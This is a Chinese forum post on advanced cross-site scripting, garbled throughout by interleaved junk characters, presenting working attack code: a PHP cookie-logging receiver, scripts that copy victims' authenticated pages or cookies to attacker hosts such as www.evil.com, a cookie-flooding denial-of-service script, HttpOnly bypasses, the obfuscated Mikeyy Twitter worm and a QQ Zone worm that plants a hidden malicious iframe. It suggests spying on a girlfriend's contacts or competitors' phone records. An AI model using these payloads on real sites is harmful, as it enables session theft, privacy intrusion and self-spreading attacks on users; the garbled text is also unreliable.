Q7 Y. ?) Z6 k, ~
* v: z* E" Z9 _, ~9 j! ~
! ^% {" [$ _% A) S: D* y7 M% @
8 n& d' L& b& n4 G* U: {
, \) \$ k B1 e5 u6 Ba.php
# r8 U( P: R' q2 R
$ G" r9 X0 B, C" j8 p! H
9 D& p/ f/ X& e m9 |6 P7 W: ?! D* G7 [* [6 t
<?php 7 A* O! K T2 b. D0 {4 Q) Q
3 D* H! [& E2 B3 i. l) @$ l
4 Y6 X* x& a: J; s7 ^: ?) Y
1 Q$ r2 [2 S4 U
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
' V; c) T7 x6 B4 T- x4 d
& `4 l, ^" e- W7 n9 v! ^- R$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 7 `- Y. _( z* d$ i W# ]7 @$ k
% v& A7 k: ~' e' z* `$ \5 [
2 z. s# k) \) h
( W+ l2 x# L0 V2 D6 M& b$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); 3 ^. w# c/ w/ {
" f- }0 j2 u/ k" {, J- o
fwrite($fp,$_GET["cookie"]); - w! W. l; L8 _" h- {+ [- R- C3 w
3 l3 x8 U$ k% K8 A: U
fclose($fp);
$ ~* r9 p, s0 q& j# Z5 o _
" ^$ W- A, F( n( W?> % F9 k2 A, W1 S& E% \5 G5 w) F# _1 j
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:5 m1 Q* s% a* b
* o$ L! w0 r0 x, Y% _
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.: S* x5 d( K( T) _0 M5 j' q$ S9 k
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
( x) d, }+ K. d. C# q4 D5 P. h6 h0 r9 u3 j8 a/ t# A
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
6 U- \/ y) N! [# O
# E$ z! v' R; t7 @" f) i//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
, g0 a3 X+ ?4 E$ v5 |( c) |6 \! d
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
: m& ], z2 K& I2 f. u, X7 R
7 U) C; w/ b1 \function getURL(s) {
" r2 m6 E: \$ v( F$ p( K, Z# s1 N1 J# T$ ?
var image = new Image();4 B0 }$ q) F2 z- J1 w: }
, m$ L9 e2 v( l0 T6 d: L
image.style.width = 0;! E+ |8 y* u6 V/ a e4 K' x
7 M1 ]/ Q& e d0 A8 ?7 M- Gimage.style.height = 0;
0 t/ X5 ?" L( r- u1 v$ N& v
9 @6 K. _( e# C( n% rimage.src = s;4 S& c/ T5 v3 h( E
( s+ b3 V" l; R& `. d+ x
}% M; ^& K0 j, y( r h/ |
X. z1 V; n4 U# s( P4 ZgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);: F! M# E4 ~/ [
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
* Y/ r: G9 y# s这里引用大风的一段简单代码:<script language="javascript">* N/ Q! l, K4 n' H
) l( }, b! w4 a3 O# Z- x; R6 T1 ?: X
var metastr = "AAAAAAAAAA"; // 10 A
) k9 e, Z b& o4 L
7 S& L. o; m5 n: Cvar str = "";7 ` ]" e8 [. l7 k; r
" @# I! L* [5 F/ T6 Q8 L. {0 J- A
while (str.length < 4000){
. R3 b/ N7 v; e- {2 O
/ j7 L0 u# Z$ a" o str += metastr;- n" E" B# T; S
_. u6 `) M* e
}$ y$ N2 C, C$ |% s
c% L8 f5 p, O4 e# A; r. s
- d; y. j) m9 d) K( F: q8 o1 a# Y( D+ \" F, Z
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
7 n: D0 g% S2 Z+ d2 p3 c
$ T& g7 n! S0 r/ k4 g- L* @& G: x</script>& e- p" g: {5 T! p
8 \5 a. k+ L' t0 n$ a: |
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html9 @* P0 a9 \3 ?8 i" |
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思., I9 K2 `' C' `8 d$ r
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
" c; g. w6 j1 Z. @. A3 E: J+ M$ l- x) N. `% G6 O1 O+ Q1 }; j5 c
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
0 R+ j* k5 T! O4 z5 }* J- V攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
* \, t: l" @) g7 {- k9 Z( B: p, [+ W7 I' M" y
! A6 s* W( P2 | }
* v0 I8 S' N0 @% L2 ?: v9 ?5 \, R
7 `2 D3 a3 k! p( F" C* H; \9 _/ g
3 C* r, u' z6 `) r5 C
(III) Http only bypass 与 补救对策:
8 [# c7 e6 G9 N$ M8 E! V) C- o- Z/ L
, o+ m: Y8 [+ q& h& ^& S+ F1 W什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
( z \* d q2 c* X0 E5 W1 \以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
7 R3 B! F9 q+ W3 a
" i) i, g' f% M) V1 @% Z2 B! d<!--: h3 P; y, ?& o* d( A1 o, X
, v: K& k' r' G/ p2 I+ _" {# qfunction normalCookie() { # b. \: M. D+ B1 G. f
6 l7 A' N* Q7 ?& l, Q- X+ u0 v1 D8 ?document.cookie = "TheCookieName=CookieValue_httpOnly"; 8 G2 o9 I: i. l8 h5 V
8 J6 }" g1 q& L! O& falert(document.cookie);4 Q' Q4 s, m W# H
$ M; }# Q9 C1 _$ W}, T( ^+ o( a+ g! a' B D, c
: Y' a6 t) F3 t: c$ }" I
5 u- _# R e+ }; Q
1 b/ r) J+ y% z" l+ s2 K* H2 V, e/ I) Q3 u7 k/ k
! m2 v& J+ I3 z5 w# S5 e, |% C; O
function httpOnlyCookie() {
$ E4 U' i/ \9 `3 D; D1 z$ o7 c8 r
% l0 p- m$ u8 R/ r: w3 g) ydocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
, q e- S* Q$ E) j* N. A% A! p8 p" c; X0 y X* O; {1 \; x
alert(document.cookie);}
" G; K8 f# C u+ {+ |
/ q5 L t# J& W# z8 V0 _+ T" ~/ {; [* J
3 R0 [* s" x6 W4 [! b% v# T; B9 k//--> x3 }. k" h- i1 K- Q
' h2 v0 \$ v$ p) f
</script>
# R( j j t" x7 l
1 c1 d: X* Z" I* \. j
% h) h ?& V! O1 ]) ?, W( U3 |" T5 a* A0 C: i+ [# g t
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
7 ~9 f6 |+ I2 t; R: X7 [7 O7 ^8 `$ @* M$ S4 Y' v
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>: z3 {* K% D& M
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>6 X+ G+ L0 Q( g+ l* M, x& s1 ?6 s
- y) F! o; b% ?
. ^6 A) [ X3 P0 N; U& `& @7 ]( }% l2 ~0 X) g
var request = false;
, Y# q1 g5 Z; L8 n; G/ Y3 p3 J; `; G1 X& N, q, w
if(window.XMLHttpRequest) {6 Z0 n* @4 E7 e0 ^# p. K# C U
; X! u/ @* E% D6 a' y+ [& n
request = new XMLHttpRequest();+ h+ X8 D$ e7 f* R: E, X4 @
' N1 {- o {8 o8 P if(request.overrideMimeType) {) g! Q3 m) t9 ~& |
6 x0 q: e4 [( |( i+ C request.overrideMimeType('text/xml');: s; c2 H) D8 [+ K3 g
$ [* [) `$ [6 ]+ p! [4 _
}! d9 L9 L9 t( e& l' w/ A5 }# w
! x+ ]% l# A7 c
} else if(window.ActiveXObject) {$ B/ [6 f. I* @+ I3 l
0 g7 p2 j( T# k: z# X4 X" g var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) c+ |0 d/ w9 c
8 k: }1 F$ G( s& e7 Q! x$ _ for(var i=0; i<versions.length; i++) {3 P8 M0 h2 b6 @' w! n# [) N% n) ~
8 W4 A5 V) n" C$ u; _
try {
* W/ x0 V8 z @6 O- [+ g. Z
+ r. | n4 w( [& l4 I: G X4 a request = new ActiveXObject(versions);
( m3 f/ x6 f* _( t( e/ j5 E" f( |, b6 t
} catch(e) {}
! p, |2 o0 w- C1 o2 G$ e( I4 Y- D g( c( t& J$ f
}
2 c4 A6 N9 }0 f1 L, r" C9 P& U. F, W( ?! R& ]+ M; F4 @
}: X1 |) U3 P) E+ [1 F
% I2 ~9 _# x X% mxmlHttp=request;4 K, i7 T6 m9 m+ n0 m, R
5 m" q4 c( U" c, q0 X, `/ p4 A! S/ F+ w/ c
xmlHttp.open("TRACE","http://www.vul.com",false);+ `" m3 C3 K8 Z) W+ |
# |8 [3 }' p8 j$ @4 ^4 T0 B `xmlHttp.send(null);
* y/ \1 T, T: C
. K7 e8 ?+ G" N9 Z9 [; ixmlDoc=xmlHttp.responseText;
- I( c1 U' \9 C
7 p. u9 F8 C& v, _ J- [alert(xmlDoc);8 w* y0 k9 F9 x+ g( a" D5 b
. ]' w% X% d( e7 p. Z
</script>, |6 B- z2 S# e' E
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
1 \8 J: l: a5 P3 w) d* A" d8 A+ z/ o1 l" E6 L6 L$ s. o& e T
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");& S( ?" K h& r/ t. \
* P5 v, h+ ?$ x+ M0 q: {XmlHttp.open("GET","http://www.google.com",false);- p7 Q, w! q i
9 Y0 ?& T0 A7 ?0 t5 lXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");' Q p5 V+ C( T! i
. @. Z& C7 S$ n4 i& @' E8 PXmlHttp.send(null);% E$ A8 ^8 ^7 e+ @) U+ y
! D# t1 O+ W/ ~ e; U
var resource=xmlHttp.responseText
3 s% z* B( @4 @" Q; l% k0 Z% e/ j# p# X- e* O9 S( p, b( n
resource.search(/cookies/);; ~* H; y- D4 h% S) g
+ i/ ?$ E+ a9 e# u" q......................
% }( `% p5 k* F( {
" c6 x0 z# p2 a' M g0 W</script>3 h# {: V) \0 j3 V) [1 h
) U" P" ^ N+ u! q. a
: ^- g/ n9 }+ } K- q1 z9 z O
/ N1 `2 _5 G% \
- Y0 N. k! K9 m" N4 ^3 K1 ~* j# O) a9 \
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求' @. |; x( J1 n* Q
1 C4 Q9 F# y5 k9 y! U& {
[code]! R9 K) N# _. @ Y6 w. m: I9 N
6 q' ]& w3 L2 v0 k" ^: f8 kRewriteEngine On$ Q; S- G, c" R7 I! b8 Z
; ~3 Y: P1 n. c F' XRewriteCond %{REQUEST_METHOD} ^TRACE
+ _6 r) P) V4 j1 z: `" D' z7 R4 a; Z* C$ b+ v9 K
RewriteRule .* - [F]5 ]7 A8 S/ }8 k
" E0 \- y% B& ?
2 |. ~! @4 F/ `" i0 H
+ {; p+ @! n& ^! [/ ?Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
2 O: V4 G/ p7 ~- Q' `
; s; U v4 f( X% ?8 |acl TRACE method TRACE* }6 M( ~" I! N3 |! [3 _
$ o$ l$ R- F* `; F5 P* ~8 {7 s...2 q8 i9 N/ z4 r
. ~% B5 X- F9 l" n% Ihttp_access deny TRACE( t$ \, V6 W9 T/ N2 v7 ]
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>! p& C+ M E H m3 n% R" k8 v
0 ]$ C# r. d( I" c1 cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); p1 @" A4 `: [; {
/ ~( @2 @ z8 l3 P zXmlHttp.open("GET","http://www.google.com",false);" C) Q3 q: ~2 g: l+ V; _- M0 g
5 h6 S8 C9 V& l! r8 zXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
( u2 K+ Q4 z! y$ H4 h: G3 {
g9 ^' R: L, c, T0 ^" ~9 i6 cXmlHttp.send(null);* b8 N7 B, J+ E. V' Y
' d# ~! N9 T7 y) W& C* c</script>0 C6 a' U4 d) j7 ]+ p1 |1 N
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
5 k7 E$ r! S! C4 g% {/ z
+ C- [' z. h2 \; e3 Xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
4 u M( I8 \4 Y$ Y& v j: A; r6 N. V! _
/ y$ A3 Q2 K( M7 T
5 m+ q' j0 y' {& c. e- U6 g1 p \0 q
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
) g% {8 ]* o- @; W# G+ x
4 a- w( j2 m9 r# Z/ DXmlHttp.send(null);
@9 c3 `# z! V* Q+ r0 y$ v
& o( i- l1 V. U3 ?- B& f7 }( B5 @7 ^<script>
) K( ~" H0 }% s6 U" U$ h复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. D# ?3 x7 D* E( ~' }. a复制代码案例:Twitter 蠕蟲五度發威
0 z6 v0 w: F" V! Z. X( R第一版:7 p5 X+ v2 L8 m" Q, A
下载 (5.1 KB)
8 \" M; b9 n2 w& Z
n7 k, E- A6 ?" g- p0 W6 天前 08:27: S* N4 q% v" {9 E# q, u+ b6 v& M" ~
5 i% ?7 [0 I6 Y& l
第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
8 w4 a- O: \: C4 d3 w y3 [" o2 C7 W4 l/ T7 K* Y$ S
2. $ j( E: Z2 @5 Y0 b7 a( u
8 J7 }* o: D6 Z l 3. function XHConn(){ " E4 `# j3 ]1 E. K% M' I
( v6 E: L9 R! ` y
4. var _0x6687x2,_0x6687x3=false;
5 G0 S) s, j) v2 e# C
3 u) l e Q( d# u4 u 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 2 S0 M0 d: T. S0 L& S% j0 U
- Q" t/ r, |+ Y7 ?4 ]8 O9 {
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
! A, y0 o9 `+ u' f1 Z2 @2 G" n8 w+ L* D: m; c8 v' H r* `/ a
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ! T9 x2 s, [8 _; T4 ^9 _! D
. u4 U0 w2 i% l. Y1 i" x | 8. catch(e) { _0x6687x2=false; }; }; };
2 K6 a% \. j- t* G. Y Q复制代码第六版: 1. function wait() { 9 r3 ^* m+ z: m6 j! h
8 ]& }* r, f! w5 @
2. var content = document.documentElement.innerHTML;
/ V1 c0 ~/ h9 ` G4 ^+ S1 h5 t8 b9 k9 ~1 [, N+ h6 O
3. var tmp_cookie=document.cookie; " n& Z% B' D7 E) i' v/ D/ k2 }$ p3 t; l4 X
8 z# [( Y8 B" C! n 4. var tmp_posted=tmp_cookie.match(/posted/);
: [# c c5 l, v# `/ V! }
$ T' M4 Y9 {9 K& ] 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
- z% C3 `( O J p# s3 A( L' `2 Y2 ~ N2 a: [! d
6. var authtoken=authreg.exec(content);
& Q G8 o$ H7 l$ y9 e! ^) `8 [, h6 N6 t
5 P% o4 o' \5 Y 7. var authtoken=authtoken[1]; ) Z6 n, Q8 m* T7 T( X
0 B7 e A! T2 O; U+ g8 e5 a 8. var randomUpdate= new Array();
" D+ m& c. ]7 H( P4 ?7 z( Y1 q' B3 G- u9 f: ~, i
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; % _. b' o5 z9 h% {2 U1 t) c
3 V' i6 X6 _- x. d. _8 W( L3 P! j* ?
10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 5 F$ K. o) B) Z. S
, \/ n5 j/ d$ U6 j 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; & K% |1 Q: G8 [8 B
2 l8 N( z& N0 X; ^. o0 {* P 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 8 O1 d% x1 {! v# B
; L9 O7 p+ x0 E) u% Y 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
7 Y: P& N& o' K4 H: o
! O) \4 ~4 E- c: S% K 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
4 H% n: t) }4 G
( U, f' s: f9 v3 Z' T3 z$ n 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
2 Z3 l, N" A8 K! X6 v$ E" n
+ r K' A# @* X5 I2 R7 g: c 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 0 S, |+ i3 O, ~' ]0 ?+ A
: B U4 y: M5 I* M' o) g# Y7 a9 ~
17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 0 _# H+ S1 C" L) Q1 r2 E
/ L/ O% p q+ k W3 c+ Y
18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 7 b: {& A3 \; ]% l" C7 u6 P+ s; ~+ D- ]
3 B! w* a7 H3 |" J7 K' k2 P, V# R/ O
19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ' d' O9 O" ]& W$ b; f* y8 b0 S
2 y7 F) h8 d9 j3 p 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 0 ^0 e D3 Q: P4 R
1 s% H$ q4 R% Z, a
21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; ( I8 R; s" @! n* a Z, [1 ?, B
7 k: h- A6 Z4 v5 d: ` r 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
1 i9 @! W+ T; b9 }4 y0 G% x9 |0 `! ]! S+ S
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
7 I8 Z4 z- g- z; a6 |5 u8 U# a. B+ ~* v3 U% v- t' b" l3 A
24. , G# n! {) y6 P- r) o
( C) [. G: u6 }& l
25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
6 x! i; I2 d% ^& b4 g
0 k& E& I: G6 j& P) R 26. var updateEncode=urlencode(randomUpdate[genRand]); 4 F, k4 r! \' P- |2 |/ f8 z
) d( ?+ i' g! z) \ 27.
" [( K R; v4 r' k5 r/ a; P# g
" X0 K% \/ r3 u* `- Y! x 28. var ajaxConn= new XHConn();
( a' e+ x% P1 y3 x5 n$ o
1 P$ r: L* t3 _7 g0 J 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
/ x8 e- k$ L4 J% B! j: j: v3 @2 ^& F$ H8 ]2 y
30. var _0xf81bx1c="Mikeyy"; : r2 {4 t. ]8 B& J2 s# r
# w& K. C3 R% L& o+ `4 Q 31. var updateEncode=urlencode(_0xf81bx1c);
2 X( v3 E9 ~- }+ [, ` n
" u) L0 \. O( x% ]5 X3 b 32. var ajaxConn1= new XHConn();
* N6 g7 h# \' Y) @% J5 X8 O9 Q! r1 @
33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 0 d) w# T) v9 m4 A% N+ O
; B( T7 Y1 ^0 a% Z1 `- r" c
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
# e2 z. ?9 ^( Z" o' d- G" L5 I; Q/ D' T: C! ]( E7 C) {' O
35. var XSS=urlencode(genXSS);
* G: _/ m7 e& ?% c* D
: x: F. i9 U- k6 k+ p7 \ 36. var ajaxConn2= new XHConn();
/ O+ G0 E( [9 ^2 |! v0 \
4 A* f/ T( }, u0 W- T 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
# j. [* e. }; n! i
2 ^+ W% w* y' c" H0 c) T 38.
( G3 [5 z. F7 L" R( w( o- l
! E& I# P, }# ~/ l/ x' I 39. } ; a; q$ t" |' A8 P% r1 y( M& u, }
* h4 Z6 w1 i+ \6 F) O, @+ m6 \ 40. setTimeout(wait(),5250);
- o9 e. [2 [1 ?4 H6 S复制代码QQ空间XSSfunction killErrors() {return true;}
9 P% Z: o% H2 E4 W
+ @2 g4 B3 P \window.onerror=killErrors;+ g" @+ X0 _% {9 v
8 P5 |2 ^$ h- m
: P6 W J6 b- T# r- b( ^' ?; a- g! D7 [+ q: i2 W
var shendu;shendu=4;2 C! s% O1 Y+ i, g
2 \, M; X C0 Z4 ]8 ]2 ]+ h: W5 X//---------------global---v------------------------------------------4 Q3 d7 k4 w2 Q5 Q; p x; V9 c8 T/ I( N
* n( y$ } s Z5 y. E: X2 K o9 P! M8 [//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
P) H' d0 ^4 K7 P: O# N' x* ?- V! P; g1 X+ O; Z/ k
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";5 U% v9 s* D3 a8 r+ z, r& [
2 z9 f5 e2 w9 k- V& q& s
var myblogurl=new Array();var myblogid=new Array();! [ E6 T5 i" x% g# s/ V
% D( E- j O% |* u& {
var gurl=document.location.href;7 v; e- [" |$ `/ K. \* N
0 D' {1 h: _9 E( j" e8 f8 ?
var gurle=gurl.indexOf("com/");
' d/ W. A d R, s1 a! L3 ~/ G
+ c) c( |3 T0 O$ ?3 M& s' n gurl=gurl.substring(0,gurle+3);
7 y5 P! D) x. ]6 H, O) v$ u1 l7 [
. n) m; q* t+ q ^ var visitorID=top.document.documentElement.outerHTML;* ]' Q1 ]; V( x, t! W5 z
8 Q- N7 X. q& ]0 F4 N" M
var cookieS=visitorID.indexOf("g_iLoginUin = ");5 z' R; Y! J; ?1 c8 F3 r- V2 F
" I7 d. q9 M/ k& ^% ?" r visitorID=visitorID.substring(cookieS+14);; |& M$ U- y# B9 g3 A
8 N) E5 K7 m4 D
cookieS=visitorID.indexOf(",");$ K' t7 X# Q3 G9 m
3 G. r4 r. w: f& c# Q3 E visitorID=visitorID.substring(0,cookieS);
5 f, |/ V4 E* l' a0 H* J9 [, t
- ?' D( ?$ r9 Q6 k% V* R5 d get_my_blog(visitorID);8 A# R9 q# ]; H9 w) \
* j9 N$ `$ ~- |2 O6 Q! u0 c% S DOshuamy();7 A' N1 i6 R& w; _# O5 s5 V
$ V% `+ X9 W/ {5 A
) c+ J) m0 O% m, t1 f9 R2 w! Y, `: w
* O! h1 d5 i$ n
//挂马: ^5 E: U. |- N8 e% u2 ]
+ `0 v5 m. c) g4 \function DOshuamy(){
|* x* O# _* [* u( a0 b- e) J% D1 P9 n
var ssr=document.getElementById("veryTitle");
' R" {* O7 h. z6 m' N: {5 `* B+ |) f) f: j7 G d" u9 M
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
/ c; i7 q9 E7 F8 Z6 B; Z9 ^) g) f) N+ G$ \
}! B& }! `, m8 T4 v5 W& l
$ @* L- z, Y/ _, D j7 D
?+ |; J# \# Q* Z. }3 q h+ c
+ |: ^$ T3 J: Z0 h" H+ B//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?( A, W0 [" d( [& e2 G8 n
# t. o! z0 T: Y6 Ifunction get_my_blog(visitorID){" A8 v2 w) B! n0 m2 l: i
* W" l7 o5 ~- D4 p; b! L/ O
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
3 ]7 p+ {. {' `. B! t3 z* O6 q& i5 b% z: l2 m& x' C
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
; u: J8 p4 F4 M+ S; D! J: R, t
8 b+ _4 Y" i- g' `' L% ] if(xhr){ //成功就执行下面的
/ u$ d2 I% L2 \% m
! S& @+ T. h% U xhr.open("GET",userurl,false); //以GET方式打开定义的URL
9 W7 U6 O9 y1 L- _- X4 O2 w1 d3 ?7 ?* D' f. q; I
xhr.send();guest=xhr.responseText;; S; p8 H2 q, U! y a/ s/ k
- T! H9 Y8 b4 ?* m
get_my_blogurl(guest); //执行这个函数9 ?8 P4 x4 _! E' S$ i+ p3 J
1 v/ N. |: N! r! G- |: U }/ u# m# D1 i. Q- d: q$ B0 U9 Y
6 J- F7 y' {8 W1 H( n}$ P! u( |# i8 k
5 E4 R8 h: }5 z8 I. Q
* j; h; I% W7 v2 B. F0 h, u; l! G5 w' m/ T# v* C
//这里似乎是判断没有登录的0 E4 d" a/ ^4 Y, O g# ~ p
9 L: J* I D& ~5 O
function get_my_blogurl(guest){
& v4 n ~! u, a. T1 W" \4 N1 K& C' A) _8 \$ I) C
var mybloglist=guest;
* W- J% J+ I' j( c1 ~( B& u! l* U/ Y i9 E, P
var myurls;var blogids;var blogide;
L% Y- S" K! ~4 W) {6 Y7 O5 s7 u4 D. m O' \ `, @$ b' i
for(i=0;i<shendu;i++){+ k$ c. ~; z6 G# H9 s! ] {6 e* S
4 i- }+ R o) t5 e) p
myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了' @3 _: I9 Y( N4 x" [9 e4 U
6 K; M9 Y: t7 \: _9 f- E
if(myurls!=-1){ //找到了就执行下面的2 x8 M, z, m, |( E& F7 k; j
; ~# D) h0 h$ F2 v
mybloglist=mybloglist.substring(myurls+11);) w( ^) v2 u1 {0 K' i
2 g# u: D/ z( \( k0 E0 ^9 Y8 x
myurls=mybloglist.indexOf(')');. |- A: Y: I, Y
' c5 M" ?9 U; s4 F! q myblogid=mybloglist.substring(0,myurls);6 Y# S5 D2 d3 h% U
) Y! x+ m6 D* I" I. G1 t }else{break;}
2 s" ^# g O9 |7 J9 b0 s1 n0 o, G) ~" L& j
}- L* ?0 O. ?" s7 L/ i7 C6 ?
" L" y) B$ Q% s$ fget_my_testself(); //执行这个函数* l& v! M9 A6 [) h4 L
% n6 c% s! \8 C* T, ^/ Q
}2 a" Z. i/ ^; T: }( n3 ^0 H
( k! ]9 p, Q# Z- Z
) k9 [) @9 s2 C. R; \5 i3 a v
! m. P2 u& P; J& a( }4 ?% ^//这里往哪跳就不知道了
( |6 {# h9 j% F
